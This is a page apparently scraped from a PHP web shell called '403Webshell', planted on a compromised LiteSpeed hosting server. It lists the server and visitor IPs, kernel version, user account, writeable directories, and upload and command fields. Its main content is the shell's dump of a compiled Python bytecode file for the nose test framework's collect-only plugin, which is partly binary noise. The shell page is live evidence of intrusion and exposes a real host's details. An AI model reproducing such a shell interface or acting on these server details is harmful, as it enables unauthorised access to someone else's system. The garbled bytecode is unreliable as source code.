403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.19.234.118
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/collect.cpython-37.pyc
B

�fP)�@sjdZddlmZddlmZddlZddlZe�e�Z	Gdd�de�Z
Gdd�d�ZGd	d
�d
ej�ZdS)a

This plugin bypasses the actual execution of tests, and instead just collects
test names. Fixtures are also bypassed, so running nosetests with the 
collection plugin enabled should be very quick.

This plugin is useful in combination with the testid plugin (``--with-id``).
Run both together to get an indexed list of all tests, which will enable you to
run individual tests by index number.

This plugin is also useful for counting tests in a test suite, and making
people watching your demo think all of your tests pass.
�)�Plugin)�TestNc@s0eZdZdZdZdZdd�Zdd�Zdd	�Zd
S)�CollectOnlyzB
    Collect and output test names only, don't run any tests.
    zcollect-onlyZcollect_onlycCs(|jdd|j|�d�d|��d�dS)z&Register commandline options.
        z--collect-only�
store_trueZNOSE_COLLECT_ONLYz&Enable collect-only: %s [COLLECT_ONLY])�action�dest�default�helpN)�
add_option�	enableOpt�getr	)�self�parser�env�r�E/opt/alt/python37/lib/python3.7/site-packages/nose/plugins/collect.py�optionsszCollectOnly.optionscCst�d�t|j�|_dS)z8Install collect-only suite class in TestLoader.
        zPreparing test loaderN)�log�debug�TestSuiteFactory�conf�
suiteClass)r
�loaderrrr�prepareTestLoader&s
zCollectOnly.prepareTestLoadercs,t�d��t�t�sdS��fdd�}|S)z;Replace actual test with dummy that always passes.
        zPreparing test case %sNcsL�jj���|����jj���|����jj���|���dS)N)rZplugins�	startTest�
addSuccess�stopTest)�result)r
�testrr�run4s

z(CollectOnly.prepareTestCase.<locals>.run)rr�
isinstancer)r
rrr)r
rr�prepareTestCase-s

	zCollectOnly.prepareTestCaseN)	�__name__�
__module__�__qualname__�__doc__�namerrrr!rrrrrs
rc@s"eZdZdZdd�Zddd�ZdS)	rz7
    Factory for producing configured test suites.
    cCs
||_dS)N)r)r
rrrr�__init__DszTestSuiteFactory.__init__rcKst||jd�S)N)r)�	TestSuiter)r
�tests�kwrrr�__call__GszTestSuiteFactory.__call__N)r)r"r#r$r%r'r+rrrrr@src@s"eZdZdZddd�Zdd�ZdS)	r(z�
    Basic test suite that bypasses most proxy and plugin calls, but does
    wrap tests in a nose.case.Test so prepareTestCase will be called.
    rNcCs2||_t|�r|�}t�d|�tj�||�dS)Nz
TestSuite(%r))r�callablerr�unittestr(r')r
r)rrrrr'Ps
zTestSuite.__init__cCs@t�d|�t|tj�r&|j�|�n|j�t||jd��dS)NzAdd test %s)�config)	rrr r-r(�_tests�appendrr)r
rrrr�addTestXszTestSuite.addTest)rN)r"r#r$r%r'r1rrrrr(Ks
r()
r%Znose.plugins.baserZ	nose.caser�loggingr-�	getLoggerr"rrrr(rrrr�<module>s
+

Youez - 2016 - github.com/yon3zu
LinuXploit